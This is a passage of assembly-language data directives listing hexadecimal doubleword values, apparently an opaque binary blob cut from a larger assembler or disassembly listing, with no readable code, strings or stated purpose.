7F190015h, 2A390E5Bh, 0D6482E66h, 0FF990086h, 0E1B584C9h dd 72AFF2ADh, 0A9D300B6h, 0E0252986h, 52EC389Dh, 0AB014900h dd 27C08478h, 2810CA53h, 565504h, 0BFEA1043h, 0E15F3C99h dd 93AB100h, 0B07447A5h, 7D7201B2h, 369BD1A9h, 7FB4E0EAh dd 7EE8B3F0h, 96BF040Fh, 80BD8927h, 0B0B95DD5h, 0A0AB0020h dd 0B8072397h, 5F743286h, 4B3D9A00h, 926AFD5h, 1E631FD3h dd 539909EAh, 31812783h, 2188D7C0h, 83B2FF05h, 5820EE1Dh dd 90EBD3BAh, 7C7DF660h, 38E13CAEh, 0EB34501h, 0F409E5ADh dd 0DC01BA50h, 453FD14h, 29889C66h, 3688471Bh, 84689006h dd 0DF489965h, 2808DA45h, 973142A4h, 1B211324h, 107012D8h dd 0D7898115h, 6144F608h, 0D122842Ch, 11CB4282h, 847B314Bh dd 42806222h, 323F11CFh, 3E083421h, 4683887Eh, 0B8352688h dd 0A7CE1142h, 22148728h, 0FC42CA03h, 22A62711h, 9575007Bh dd 4D0163D0h, 0C900DACCh, 9130C025h, 6C8198h, 0C6D87318h dd 6D5E0D36h, 0AD9F2600h, 1121EE34h, 4D631CDBh, 942CC05Ch dd 4CD36EB5h, 50278505h, 78C06B15h, 0E2661D38h, 960B1C82h dd 8CE60042h, 212B9488h, 8E005075h, 6B39E45Bh, 0FE7975h dd 85620668h, 49FFDC14h, 382ED000h, 67BF9C84h, 24F04926h dd 9F324F00h, 77EFF29Bh, 66BCF00h, 0EB02A679h, 11AA0317h dd 6E51BACCh, 0B63210A0h, 843F70C0h, 5E85F0h, 0B739694Fh dd 0BF177B02h, 89B3E200h, 7F7180EBh, 0DF8B003Ch, 148ACE6h dd 0F3E4F507h, 7812F200h, 1C8C945Eh, 0DD0A3EBBh, 4F142A80h dd 952B62D9h, 0F63CAB00h, 2827CC3Eh, 124801C6h, 0BFD5ACCEh dd 86F2C00Fh, 17AD3101h, 600BEC29h, 0C9DB2880h, 0E841CE98h dd 180763E4h, 0A1EEB9BEh, 753DDE00h, 0B8B183Fh, 0E24DE8F5h dd 9AEB3900h, 25C4EFA2h, 1ED60EDAh, 33C08457h, 51A91048h dd 9E4F9100h, 5613F78Ch, 73703D6Eh, 0A35B6801h, 201FE8FFh dd 0E600D2C8h, 4B093389h, 6029D7h, 0C6DD7984h, 3228860Fh dd 25D34707h, 90F08817h, 170F806h, 98807F59h, 0FD46A893h dd 0D8FBC196h, 74009933h, 8E066EBEh, 366C6B6h, 0DE2D67AEh dd 0F0D8F2E7h, 0BF052FF1h, 34E98798h, 5300A812h, 0F889DB4h dd 0B5A600AFh, 916E854Dh, 79F21FF5h, 0DFF85E50h, 0BAEBCF00h dd 78BCB636h, 0EC9450D0h, 4A9106CCh, 109674B7h, 369C6102h dd 4045E415h, 896B051Ch, 61243082h, 0FAC34200h, 2CE98C9Dh dd 0E7100DBh, 0CBA28768h, 5E03A637h, 8E731AC9h, 6594D86Ch dd 484F00BAh, 86570E82h, 0B872831Dh, 4AF8800h, 28C9FA38h dd 0EACA00B6h, 0D69FAD32h, 2060F912h, 0DB145D11h, 0A3490448h dd 0A8E5B26Bh, 0CACF0042h, 0C49A5508h, 747035h, 83031A0Ch dd 2FBB908Eh, 56574E00h, 8F8CEE13h, 0CDF10098h, 67999AA2h dd 1B00CE4Bh, 49166530h, 0E58C06h, 5F48D22Fh, 7B93DA03h dd 71BF1E07h, 0E0707DDBh, 751B7256h, 0A41800E7h, 9FA7DE86h dd 0EF0A52C4h, 94125CAAh, 24720E03h, 0F8B9DBD8h, 3F02F85Fh dd 790029F5h, 0C3AFDB21h, 7300639Bh, 43BC8506h, 31FFD6h dd 6B54CAE4h, 0B681C630h, 7805900h, 3F98C2D9h, 55702Fh dd 3AEF3D3Eh, 4F351DE2h, 0E1605C0Eh, 0E961E053h, 3F7CE6Ch dd 0A854F39Eh, 6E88B8DCh, 18003E2Dh, 937548F6h, 3CF36502h dd 4B80C5D3h, 268EE7D2h, 0B75C01Fh, 0C87F2814h, 893D0EE8h dd 9C37C00Ch, 969515Eh, 5CA2F98Bh, 23621D80h, 6EE885BAh dd 0EA0013F8h, 96BC6AECh, 24D156D4h, 29205F2h, 46998519h dd 0DCCF88h, 0A4816953h, 0E73830E6h, 58A002C2h, 80DE8B6Ch dd 1A2685C0h, 61B1E8Dh, 0C979C93Eh, 283D24A1h, 0DCF8D4ECh dd 24D54B48h, 0F71DE8DBh, 6557F580h, 2D3662h, 8BE50544h dd 0C08FDF89h, 8ACADE00h, 0F1B8C977h, 0E1D23CB1h, 78A20070h dd 0CD028038h, 1C002D39h, 0B27C4DC2h, 7D44B6Bh, 70AA8CE9h dd 0A0223756h, 17169387h, 59E4BCB0h, 0DCCCE20Fh, 971AE0EEh dd 7BC7488h, 0C9F55C8Ah, 167EF089h, 9600ADBAh, 495B4BCDh dd 1B045A4h, 0EDFD1813h, 0E4B5F79Ah, 0CA00CD01h, 0E5B61AEFh dd 27509C5h, 0BC4EBD42h, 78608264h, 0FF00A079h, 1CD4F93Ah dd 0BB990C4h, 0A39D172Eh, 3307D176h, 8009A4B6h, 2062528Ch dd 65B30750h, 0A72A9DD0h, 90BE6783h, 57971988h, 0B6D33700h dd 4FE6ED4Dh, 9C5C0675h, 70838603h, 74BBC3Dh, 1780492h dd 9D6A70C0h, 6CB8A0D4h, 0C24500B7h, 9EE2D0F5h, 9000DD2Bh dd 0C9E8738Bh, 0F36C1Eh, 43B0999Ch, 104CBDD0h, 390096F0h dd 0A09E4850h, 778DBC51h, 80674F8Eh, 0FA90CA2h, 8F2B2139h dd 0A0B1490Dh, 0DACBA730h dd 14051620h, 0D0168Dh, 3D593C80h, 3300D8AFh, 0E85D06F6h dd 287C71h, 0DBA83A5Ch, 0F702F237h, 211C4A07h, 0C810D4E7h dd 7FCB7CB4h, 0AB89009Fh, 9CD2BD27h, 8F2C6AAAh, 5902BC58h dd 3F03C2Dh, 9690AEB5h, 0CF39E068h, 0F824A6B9h, 810EDA00h dd 5873313Bh, 0AC09082Fh, 0BC208571h, 2B6F3A90h, 601F8D09h dd 2C068E21h, 0A098D048h, 1ED093h, 14082E3Dh, 4C8194A0h dd 9F8A34Ch, 90AE8E66h, 0BFE9FB0h, 0B3487E35h, 459A5C20h dd 1D00ADCFh, 67F1FB91h, 61D9D7h, 0B4BCEE0Fh, 1B51092Eh dd 6AEF5F15h, 38A82EF4h, 0DE06803Dh, 1ED46C7Ch, 1B86006Dh dd 0E2B512D1h, 8D16A69Bh, 24005163h, 0F928BA9Fh, 1B3C0019h dd 9154F779h, 0D400AAA3h, 26B38540h, 7B2CAE28h, 841E00CBh dd 97DD0957h, 0E4128C70h, 0DB00D685h, 0AECB9F3Bh, 0C70E002Eh dd 0EC2463B9h, 0B000737Eh, 87C559DFh, 488219h, 0B1F0D0E7h dd 0E97A665Ch, 7980103h, 0E14259A5h, 3464C2D3h, 72D500EAh dd 76F8496Bh, 1E00F4BEh, 0CF76CDAh, 7301F93h, 97BF22E2h dd 602010CCh, 0FB0FE5B3h, 0E021A6C0h, 2A8E54F0h, 476C2402h dd 0B5580024h, 6FE48370h, 0A9FAEC00h, 7450E0C4h, 0FCA158B8h dd 6C16E680h, 0DDB04DFEh, 0D00114E6h, 43BB3101h, 0CCCFAADh dd 128EF4F6h, 0DC5386h, 18097524h, 64BA2F07h, 93BF063Ch dd 0AC00D2A2h, 0D97732ECh, 10C26108h, 0BF2C2F31h, 1170428h dd 1403D1C9h, 30B30F3Ah, 0CC43901h, 0B6CE81F9h, 8F84C20h dd 2354E1C7h, 4CA7873Ch, 94A0CD84h, 155243Ah, 0D39AF33Dh dd 20F66D4Ah, 0AB0066D3h, 0DA01EEF4h, 3473B24h, 4C5DE933h dd 57A8AF6Ch, 133D3AC4h, 0A2AD1283h, 7CC04C1Ch, 0FBAF4D33h dd 1AD100DEh, 1DF711CAh, 18B89163h, 0A224E500h, 5897F61Bh dd 880D00C4h, 7472BB75h, 0F500370Ah, 55656FEFh, 0C0368C02h dd 24703EB0h, 0A900958Ah, 0DFCC8373h, 24223896h, 7A62159h dd 0E06F4FA5h, 62B64429h, 0FC939901h, 423423DBh, 0FCFE8C9h dd 0E58BCBB9h, 601AB119h, 0AC4C4DD7h, 7668498Ah, 24745B01h dd 417F0397h, 47363880h, 894B382Eh, 9CAA762Eh, 0D9579880h dd 0CCE8375h, 4AE1F320h, 0D51301B0h, 0C85D378Ch, 0C4FA5140h dd 750CDAFh, 2834B11h, 54CA0FBh, 4705D168h, 124F6A48h dd 457B1882h, 7628ECh, 9B5F82B5h, 9E0E6EB2h, 0FF116D00h dd 0C5D7D1ABh, 6715266Fh, 0BC3F00E4h, 0C7756082h, 0D159B807h dd 6F602DCDh, 0D31525h, 2EAB430Ah, 0FBB3844Eh, 9B116000h dd 0E9BD88FDh, 1E7AF0EAh, 0D74658C7h, 6FA8005Ah, 0F2DD4986h dd 6A00C094h, 0CC4D15C6h, 75FA0537h, 870EDC9Eh, 352CF110h dd 13AEC845h, 58959B0Ch, 88B098h, 0BDA63855h, 624A9104h dd 903C98h, 80F9593Dh, 330AA4F1h, 0B5C85EBh, 4B4A5FC9h dd 0D75B9080h, 893EC369h, 472B006Ch, 96ABE366h, 0E9702E1h dd 0F1AD176Ah, 31CA08E0h, 255A7D00h, 0A3A547ECh, 0AEF90006h dd 4DC0FDCFh, 0A13DD427h, 4D88F68h, 5A81BE58h, 0A4893E40h dd 3F7C3230h, 30095DF3h, 5800DCD6h, 883B01FFh, 2A56000h dd 0B7725505h, 0F28426EBh, 749E003Dh, 32AB2465h, 5D0B2501h dd 4DD31E01h, 1822D20h, 0FEEB209Ah, 0F07EF5F7h, 0E0906E4Eh dd 0BC0C5572h, 106ABD78h, 14760046h, 77E98BA3h, 9F006C87h dd 0D464349Ah, 0AA5B744h, 0B0406A75h, 802B1EA8h, 0C1E10C61h dd 0AB0094F5h, 0FBF9271h, 0CFAD35h, 0E917C2D9h, 0DBA35508h dd 0D5985918h, 1235C6D0h, 13DA0E5h, 5BB1995Fh, 0F281F097h dd 23002479h, 0FA01ECA5h, 50B730BBh, 1989885h, 0A8935F63h dd 20CB824Eh, 5724F9C0h, 3F397F6Ch, 0AD2C017Bh, 5638534Bh dd 0BB0E7880h, 64621113h, 0B6009973h, 6B016FAh, 0B8F8B8C1h dd 712800D4h, 1446BB42h, 25009B85h, 0B33CFF7Fh, 0A2C3AEh dd 4AC02B40h, 0BDD162D4h, 8278500Fh, 4400960Eh, 1AD6F73Bh dd 6CEB0125h, 65BC4A22h, 309C40F4h, 7B704745h, 24DC1600h dd 0D6C96069h, 2E2C923Ch, 0A147717h, 3BC0D1AEh, 82E5A380h dd 72B64DCFh, 0B9A9B412h, 449FF440h, 50F06DDCh, 1693989Ch dd 317D23Bh, 0A2654E98h, 0AC3053E8h, 97524C12h, 0BA13FC40h dd 53651014h, 0D8018067h, 78B8C95Fh, 44DE1249h, 0C0792064h dd 20D5498h, 10BF4EB1h, 6100582Ch, 0AEE31CE2h, 0A300DB55h dd 0FAB42527h, 0B0EABB2Ah, 0A91926A5h, 0E99D8540h, 38C8C005h dd 1CFE6A8Ah, 0B480BA04h, 480715Ch, 38F95BFh, 6D1A2947h dd 0B6A87883h, 1C06D039h, 7320E032h, 22F10028h, 0CB4E0262h dd 0C4F4CADDh, 846B6100h, 0BC47CDA5h, 0E8D00123h, 0C756458Fh dd 6CF04190h, 9DE1807Fh, 650F68E1h, 0D3690016h, 34CFCDB6h dd 4660C90Ah, 0D23EA511h, 0E5620982h, 3408C063h, 32C107BCh dd 0B81C4105h, 3AFE20B9h, 0EF87E1C7h, 36157CD0h, 0D89615F6h dd 1A07EC13h, 0B057BF40h, 0C6FC538Bh, 84F88200h, 0F24F7FB9h dd 2C4BE846h, 994D05Fh, 3B80AA1Eh, 2C55FC18h, 602B9100h dd 0B2CC82DAh, 813D17A7h, 0A26403D8h, 67EF745Dh, 0E3FD12Ah dd 55FD70E3h, 62C9D706h, 2480E2AAh, 512C74BBh, 0CDC52E4h dd 5E972360h, 0C54B9400h, 41DBB549h, 52E1000Fh, 0E336FED5h dd 0D0009083h, 4F025B86h, 7537A8ACh, 6CDD48EDh, 539B6280h dd 4D5043A9h, 6891C97Ch, 1BE4A06Eh, 508613h, 0EB552388h dd 0C504AFE3h, 1A45248h, 418725F5h, 78E48327h, 0D16C00E5h dd 8A67B976h, 0E8E613DCh, 0A9B62204h, 188098C3h, 0F2A2B345h dd 50EE906Fh, 3EC5C851h, 218094A1h, 39045289h, 2D004EC3h dd 0BD402C3Fh, 5E4801h, 0ED72112Eh, 81DBFE2h, 4F686219h dd 2DFCAF88h, 3B380034h, 0BCD9A677h, 55038B22h, 0F7F65FD0h dd 0D3E9021Fh, 78C026C4h, 0C8CF6B61h, 4F50DA9Dh, 1607C3D8h dd 0EB140FCEh, 0C491F584h, 18201E07h, 9A6601FBh, 0FDA2963h dd 5827D086h, 4A6F3C00h, 78E3FF76h, 42C908Eh, 9130167Dh dd 107CB022h, 0C642BF0Bh, 0E004E3F7h, 68D1B7h, 31509BF3h dd 0E1A2F0DEh, 47146D02h, 483E6175h, 4C7E8F30h, 8B1C2937h dd 1A3240EDh, 0CC2C94F4h, 0F30B5492h, 0A008C5EBh, 932938DCh dd 60A5FE07h, 0F5B39088h, 0CF164136h, 5706D9A2h, 7103719h dd 8D238C81h, 1AE9301Fh, 580EAD9Eh, 123A59FBh, 95FE0AFAh dd 9B800FCh, 8002942Bh, 0FD6F4C00h, 55675DD3h, 36710018h dd 13F2E63Ah, 2A38C624h, 3E4D8EDEh, 5C636531h, 0FA4480C0h dd 0F4160BC8h, 3C0FB677h, 0FF182F43h, 3717C384h, 4DC086EBh dd 2603700Bh, 9CA36089h, 607C17h, 9FEB0DD0h, 80F27FC6h dd 6E7EDE00h, 20637649h, 74A8006Dh, 24BFD1A0h, 0DA4C30ACh dd 0E79C3EC1h, 52B06021h, 0B0694A29h, 0B9D00088h, 81C89AEh dd 0F27827E6h, 0A31BE500h, 0C8B0110Fh, 7B5000AFh, 0FF0E66ADh dd 0FA00E406h, 0CBCF44F1h, 34C4E6h, 2BA08CF0h, 826A95AFh dd 20C30B1Ch, 0AC67C940h, 29CCC6h, 4BE9513Ch, 19915539h dd 0F633D602h, 0D571AC69h, 6D7E0F80h, 5D146E4Bh, 0CC0A46h dd 53DD81D2h, 0B8F0132Fh, 0A11900ABh, 92D67704h, 7C00CBE4h dd 0DB0FBCF9h, 0DE3C24h, 5E268EB4h, 9E7A8749h, 0E2011C74h dd 0C6218A6Bh, 0D1F436D4h, 0EF6F008Eh, 0DD821D38h, 94917569h dd 0FCF4003Dh, 533715B0h, 1CE50097h, 6D298C7Ch, 8524015Ch dd 0DD84A46Bh, 3804497Ah, 44CCC3DCh, 0A0ED4800h, 539DC107h dd 7C81596Fh, 0F5617F00h dd 39F2AC77h, 0EB851C00h, 9B344235h, 31940512h, 0E5223FB6h dd 0A47714h, 0E4F41048h, 14E735h, 0E0DFC868h, 28EC029Ah dd 9F84FD03h, 0E018CC95h, 0B0A97762h, 0A54D0969h, 6881CF8Eh dd 7037BA72h, 0BF04CC50h, 0D76C8C3Ah, 70E9EC90h, 40070F3Bh dd 426156BAh, 0F8AF23B8h, 14041916h, 0C0F1213Ah, 0E9CBAC80h dd 0A80C6E98h, 477E121Fh, 0ACB8D0h, 0F90B9DF3h, 0F8D42A24h dd 609B6400h, 0F0698E41h, 0E1C82503h, 0F729B483h, 0CF1460CFh dd 0E609FD5Dh, 0A078E564h, 304CC714h, 7A8BAC8h, 29D63CB3h dd 37175015h, 0E200EEF2h, 4F6E8B68h, 6AD94994h, 7B10E1h dd 5CF5893Ch, 5B0E7BA6h, 1858C07Eh, 4421ADB0h, 5EAB5ABh dd 6FEB560Bh, 0FAD0032Ch, 0FB9CB8F8h, 1EBA02DEh, 0C7AD0D88h dd 26D01CE0h, 9911700h, 73E418CDh, 443D0140h, 0E254C370h dd 8B0ED0A0h, 91787400h, 23FD0D4h, 868E1FB8h, 382A8046h dd 220B7142h, 6896E21Dh, 7054A8C2h, 4A84603Ch, 0E610008Bh dd 9EB8D5A1h, 0C1013B18h, 6D887E57h, 0B4DCAAE0h, 108F009Ah dd 40BE1DB2h, 170E63DFh, 0E4786107h, 50C08EBBh, 0E73756h dd 6EABBA31h, 411FD606h, 0A59C6600h, 0DF228116h, 8D17015Ch dd 1C0E96E9h, 945660B6h, 71EDE700h, 36BC311Ah, 40BA6FA1h dd 874B3BC0h, 84005BF1h, 617EE02Bh, 1F2ACC31h, 80663FAFh dd 2DB4CA77h, 0B61E7FEEh, 32C0BC26h, 0A8398C55h, 0B2E7EE45h dd 1EABE6DCh, 0C034EBFBh, 4C7DBE2Dh, 5E00A753h, 0CA3D5D08h dd 182FFACh, 5CFEA1A5h, 205F4854h, 99727CB4h, 80156F2Fh dd 0AC2A9DF0h, 9C65003Ch, 771C687Dh, 3A0FC234h, 0E0615A09h dd 0F208199Ah, 0DF0D3F3Dh, 67E8498Eh, 6AE19000h, 0B4004FA7h dd 6F195027h, 0F838F2FCh, 49D300EBh, 4135B639h, 0B4F66A4Eh dd 0E33F3604h, 148065CCh, 31AD24h, 0E48471D7h, 0EF053414h dd 1807E907h, 0C2B33CA7h, 192D9038h, 35040FBAh, 0B2A07422h dd 0A4CD20BDh, 0AA06A61Fh, 86D2B8C0h, 51B3EEh, 0B7AC0A91h dd 1E63ADCAh, 0E5C95300h, 0E43ECE5Bh, 0F490A0DDh, 42810021h dd 55382025h, 86033A17h, 896FB419h, 0D65A8857h, 8670085h dd 2A14F90Ah, 5600E420h, 96ED1361h, 12DF0F90h, 4EB489h dd 2C48363Ch, 820B6D22h, 48C4DB7Bh, 2971A8h, 777E968Fh dd 4D514B87h, 817ADE03h, 0C8D3249Bh, 0C2A3Ch, 64B44A10h dd 0FD23F397h, 1C90AAF0h, 0D5C10213h, 25D6C090h, 30677B43h dd 9D5460DEh, 3800C5F7h, 0F093698Fh, 0E65CD7C8h, 79550008h dd 0F4428391h, 6C005020h, 0CC02C171h, 5F4A03h, 0D8A5BA14h dd 0DEE75BFh, 7FFF1A1Ch, 5B3EA787h, 9080B624h, 98C3E933h dd 0C9BB0073h, 17ED2FB2h, 0F9005764h, 139E0668h, 60739A70h dd 0FE5910FAh, 6CEEE5E1h, 0EE0052ECh, 0C10D1D50h, 4A6B8B3Eh dd 5B9800ACh, 0EFF204F4h, 0AC90114Ah, 1C06BF98h, 9C50F9C1h dd 0EFB25F12h, 9EBE3800h, 3226033Ah, 732CA420h, 0D1DAE200h dd 3E6FECB9h, 7C2A7DADh, 7044E7C8h, 1C7248C0h, 0EBC53A4Fh dd 0E7118C84h, 8310D0AEh, 0D8C0B6FCh, 0EBCFC36Ch, 1E654E33h dd 0BC1F8070h, 35BB3B42h, 0C8A9B628h, 2D0BEA00h, 0A6719B66h dd 0BF3A0E5Bh, 0DC8005F1h, 0CCCF4CB1h, 403359h, 5D19FF51h dd 160DD21Ch, 12DB4AF5h, 402C525Ch, 0DA0AC4E0h, 0C4C17CA7h dd 806B6395h, 0EEB42864h, 6A7E0070h, 0BA99E9B1h, 0E400E3BDh dd 55053C02h, 90FA38C4h, 0CB88805Eh, 78680088h, 0BB8FF7A4h dd 0DC009930h, 1BAD2035h, 0B235327h, 58C8F65Dh, 8C93F0C0h dd 50B8483Dh, 850EC5B8h, 601282E6h, 0B7F19AA9h, 0A81D2647h dd 43D2465h, 0C0AEE929h, 0CB1541ECh, 0FEEB3600h, 5D9E5B4h dd 0BD420079h, 4526F155h, 0B1001DDEh, 64D41C81h, 1671CF12h dd 80467CDCh, 0C935E7E0h, 164EB560h, 78778BA2h, 913F1666h dd 0FE34416Fh, 0D8BBB68Ah, 47755841h, 55079B00h, 0D2E2A609h dd 7264C03Dh, 2B560818h, 6297B40Fh, 63F0A069h, 65DBA7h dd 0B587CD2Ah, 0E9D1DD33h, 92899500h, 0C6800DC4h, 1FC1D4Bh dd 0D680FA29h, 4FA31F3Bh, 1200A016h, 6F731415h, 24365Dh dd 0D2094662h, 661AF68Eh, 0B4293100h, 1E3BF1CAh, 6C775Dh dd 0DF05B3C4h, 34B8EDCDh, 0B0850D2Ch, 0C965EB00h, 4BCDCA9h dd 0A87F21D9h, 12548050h, 0EE75C826h, 0E9175E16h, 9CBA8002h dd 6584406h, 57E5138Ah, 4612D845h, 9400B0B5h, 0E8CED83Fh dd 5C665906h, 0D9EC1276h, 4E544234h, 30B89F6h, 0E9FD9E1Ch dd 0B9CD4B81h, 0C9152082h, 8CC875E2h, 0A4001EB1h, 0D3C0CF3Eh dd 95698A85h, 58B57480h, 480EB9CCh, 6092186Ch, 0B01E6A2Bh dd 0FAC90143h, 26CDE730h, 0D5F3E0EAh, 96918D02h, 549A7C09h dd 1FEF012Ch, 3A048F5Dh, 2309FF0h, 0EC8A6841h, 4C40197Eh dd 4900813Fh, 0F56F9BBh, 0F06FC3h, 8463649Ch, 2A1EB020h dd 52DF1400h, 2306EB65h, 0FCB40013h, 573C48DDh, 0C201A593h dd 6C1D8D08h, 2BC5A7B6h, 3C719D00h, 9959DF17h, 8A535842h dd 67DE0ADh, 6B213C79h, 4884183Eh, 80874757h, 0F9C6D530h dd 0A6FE9C00h, 51CFAB8h, 3A4D00CFh, 8A4774DEh, 5F0080D6h dd 0C87DE608h, 9C5C4Ch, 9F728E4Eh, 382CD0EBh, 0A69B700h dd 344236ECh, 5AF10078h, 0A21802FCh, 72FE1F54h, 58049DE4h dd 5B77F27Bh, 0A94C8CC0h, 0E8BF002Ch, 0AD162603h, 38F6E1F8h dd 0B828AC00h, 122207EBh, 477A5B0Ah, 20F884E4h, 478F3D6Ch dd 571BB900h, 0BA0CC210h, 0D0BF597Ah, 4B9D491Eh, 0ECC02B05h dd 5F007B17h, 1FFB66A0h, 58EA31A9h, 1D001C53h, 6D7D412Eh dd 38F0574Bh, 7D73600h, 0AEC7B10Eh, 4EA00A7h, 0BA5F16F9h dd 39C0B822h, 1C3F2D20h, 0EC065085h, 9F320781h, 800E79E4h dd 0ACE3EF9Ch, 8C09C573h, 0A59B863h, 6002861h, 1B1C974Ch dd 0D58500A3h, 627E7728h, 2A7DF135h, 880AD10Eh, 0D0CEE02Dh dd 2627B515h, 77C92CAh, 0F0B9ADF0h, 67BF307Ah, 20669426h dd 1EF63281h, 288ECBEBh, 5580D38Dh, 244B6C3Dh, 0A6770E03h dd 80EEA3DCh, 3FACDF36h, 26BDF78Ch, 0C5F68900h, 0D046AA78h dd 0ED0AF100h, 81B41A1Ch, 52A900CAh, 5DBD2508h, 0BC001293h dd 604A5F2h, 39E0C13Bh, 0B3009A63h, 0F889E6DCh, 0AB90E201h dd 0A90FEB13h, 0DC0D497h, 38C80B7h, 6EA52CF9h, 789AA10Eh dd 9E4F6940h, 39131C00h, 3874DF6Bh, 53980060h, 0BFE96C86h dd 623CE4BDh, 88430699h, 40BA21h, 911BB069h, 0A63E4DA7h dd 18B9FF34h, 7BD36090h, 33900092h, 0CC81E496h, 0A30F7888h dd 0C042C641h, 2A588C79h, 19800337h, 23E4F12Fh, 305C0EB2h dd 11F24300h, 28265Ah, 0AB31321h, 0F905952Ah, 76C735Ch dd 0B5388348h, 76382226h, 92880068h, 89D9A4A7h, 4D03B498h dd 97E6916Fh, 0AD1117F7h, 74D40126h, 0FCE75188h, 61018F54h dd 0CDFB3E5Ch, 6DC0544h, 0D8CF01F4h, 0B14286BDh, 3B0DC8C6h dd 0D7C1AB00h, 0E955913Ch, 0DDE83945h, 0E4424900h, 90E5B29Ch dd 1C513F38h, 4F01074Eh, 317F045h, 71388C70h, 0D4FABDh dd 7D8FDF10h, 1E9B2FA6h, 4CA7090Fh, 96409DC3h, 0F65A6168h dd 940F035Bh, 3555226Eh, 0B3E58CB0h, 9AA12100h, 0D3D9AC1Eh dd 865A0002h, 71FFC77Ah, 0D4241545h, 0DE002C1Dh, 0E595BAEEh dd 25E300C2h, 485DFE83h, 0D71D5068h, 4E007B1Dh, 3AF9F1C1h dd 32BE0084h, 1AD00901h, 9B01C911h, 0D63445F7h, 3A60EEAEh dd 29C80040h, 0D9AFB173h dd 9F00F420h, 3669A966h, 0FABFCD5Fh, 92290043h, 0ED202793h dd 4F0034D0h, 48C44B3Ch, 56777Ah, 0B05BB25Dh, 1503F85Ah dd 0A2AD5301h, 5C236A02h, 4EA5ECh, 0DE170F0Ah, 58B73C69h dd 12493D2Eh, 92803B00h, 48AD3Eh, 287040C1h, 44025D73h dd 0DED10E01h, 51B28ABAh, 4AABE1DFh, 0AA16E0h, 0C13A6BFBh dd 0B2F776C2h, 1C387460h, 3625D71h, 43CBDC89h, 1874E606h dd 7200B0B8h, 3DA8EFABh, 1E087C0h, 0AD4A5EF2h, 0ECA06B0Eh dd 0B6006EE9h, 9D2FD518h, 309CCE8Dh, 9439C579h, 0B518768Fh dd 6BC1FEE5h, 0AEDA1317h, 1890177h, 60E9C366h, 0F0073BCh dd 42E163D4h, 7A8F99h, 0A2FE0114h, 9D46D1DAh, 276E6016h dd 37999000h, 1B5E6F7h, 0D4E82FA1h, 80EFBDE7h, 6784ADF0h dd 301BBC5Ah, 0B169B46Eh, 4200DA83h, 0FDAA0CD4h, 3C8031Eh dd 0D69BE569h, 290E6C87h, 40492A27h, 4D96C6A1h, 1839672Eh dd 0E36F056h, 6907E52Fh, 82635341h, 0D173C3h, 33E15689h dd 89D748CFh, 0AE51BE60h, 45A752h, 2E188F12h, 0EB356A9Bh dd 0E1E3000h, 6F3D6209h, 0BBCA186Dh, 3AB12045h, 4D802109h dd 1AFE0079h, 2C3BFEh, 0D69AB6D1h, 0DC0B7343h, 2608DD00h dd 7875876Bh, 0B170F5h, 0F4BBFFCEh, 8BBE4C65h, 0D6140092h dd 78C89CB3h, 377BBC00h, 41560FA5h, 5E3A00A9h, 9116CCAFh dd 0F0031CCDh, 0C9ED2CE9h, 49890AAh, 464302C8h, 4D613581h dd 0FB0D5440h, 80CF3F3Eh, 8B743128h, 0A72112h, 9771BD9h dd 68D239AAh, 47BEE0C0h, 458240h, 0B05CFCEBh, 8D31A64Fh dd 0A89DCD00h, 39580161h, 5F031CC2h, 0D7F9401Bh, 3314A3B3h dd 0D4287FFCh, 0D008C80h, 0B14969CCh, 0F41D76h, 6D82863Ch dd 4818D056h, 0A9636100h, 3616D960h, 937732h, 0E82DAF82h dd 0A45680F1h, 0DEF02BE9h, 115100FEh, 0F4B2586Fh, 9C007525h dd 0C68ABD6Bh, 14F98528h, 0A0EE6778h, 0C0FB3107h, 1971129h dd 8D9AC436h, 0A854FC00h, 20DE451Eh, 12D500C1h, 6CEB3DF0h dd 132442B8h, 0EC9EB092h, 0F7368040h, 3BF1D22h, 0F1FCAD0Ch dd 60F8AB17h, 0D70019E1h, 0E6463161h, 275F46Ch, 96DFF1C2h dd 0DCAFDD24h, 8AA04EB2h, 5CB2C041h, 1E7026A5h, 0D340146Ch dd 74823330h, 1D093AC0h, 0F1AC00F4h, 0F623B5D4h, 0FF045340h dd 0CD944D6Dh, 0CF085C90h, 9928014Bh, 0C6D977DBh, 561C249Dh dd 301A2B5Ch, 0C226C872h, 12C7993h, 0BE1A953Dh, 809DB475h dd 0AF7FA581h, 0D03742h, 4E1E0391h, 8858EDF3h, 87BE0B18h dd 49538129h, 0ADC0C4CDh, 0B90F491Ah, 39D93109h, 0FF4C101Dh dd 2D2F003Bh, 42B21248h, 8124BE15h, 3BBCF0h, 9579C1Ah dd 96A251h, 0CA3881Bh, 4713A14Ch, 7DF4CCF0h, 0E5095507h dd 202F63CFh, 0B482DB22h, 0A9160051h, 0AC6134E1h, 714C65DCh dd 176D0138h, 70271E6Ah, 0D22F1080h, 0BCB38F60h, 69D57700h dd 7368C5F9h, 0D9832427h, 81DF1E88h, 0DB8D426h, 6C54E050h dd 0ED4B7B00h, 0C6EBE515h, 2C889AF9h, 84044E26h, 803DFB94h dd 0B484E56Ch, 995B6800h, 50483B44h, 0AB30E1C6h, 0B260C0E2h dd 711D1CCEh, 0EC4F0D00h, 967E68DEh, 2547E22h, 0FB6E7FBDh dd 0BF61AC07h, 3C5C2410h, 4C48E67Fh, 3E20598h, 11C0B6EBh dd 0A5E906Bh, 7094A40Dh, 1DF1008Bh, 863F5419h, 0DA5BBC05h dd 0E00047AFh, 10C4AE5h, 0B0C3764Dh, 2B520019h, 12D77F80h dd 4502CE19h, 427B6D65h, 49F84072h, 15AD1D08h, 0F8A040F4h dd 112116A8h, 3C811E00h, 0E17959C8h, 0A991583Eh, 33017639h dd 7AE37538h, 83807E74h, 77E4FE15h, 6D890093h, 352FC24Ah dd 0FB717B2Dh, 95759800h, 3AED7681h, 37AD0087h, 2EF50FACh dd 1F00D617h, 0A79A7A28h, 7A2E1h, 9E78BA9Fh, 0CA228B4Ch dd 0B4EB1400h, 0B5748391h, 8169003Bh, 95049E9Ah, 0FC0099F2h dd 785E8ECFh, 1A4BAFh, 0A5AB9D72h, 2AC5F63Ch, 7B0C1748h dd 2893D43Ah, 0EB029434h, 81CC946h, 2CF0BC61h, 12F3AA4h dd 45B703F9h, 0AF182028h, 1E1FC100h, 0FB08100Ah, 0F63E0057h dd 4C52F27Fh, 7D0031C4h, 80DE9118h, 48C54164h, 7A00E40Fh dd 59365ED4h, 54502619h, 0DA075AFCh, 0E3AD41D2h, 60F0C772h dd 30933838h, 503620E8h, 9C1E157Eh, 74408933h, 0CF5D30A7h dd 87590040h, 78FA6F64h, 7A245CBEh, 0EB13A0BCh, 0CC50C804h dd 0C4E614C0h, 0D78607DAh, 0A01D8491h, 0B2C2768Bh, 0BFCF7209h dd 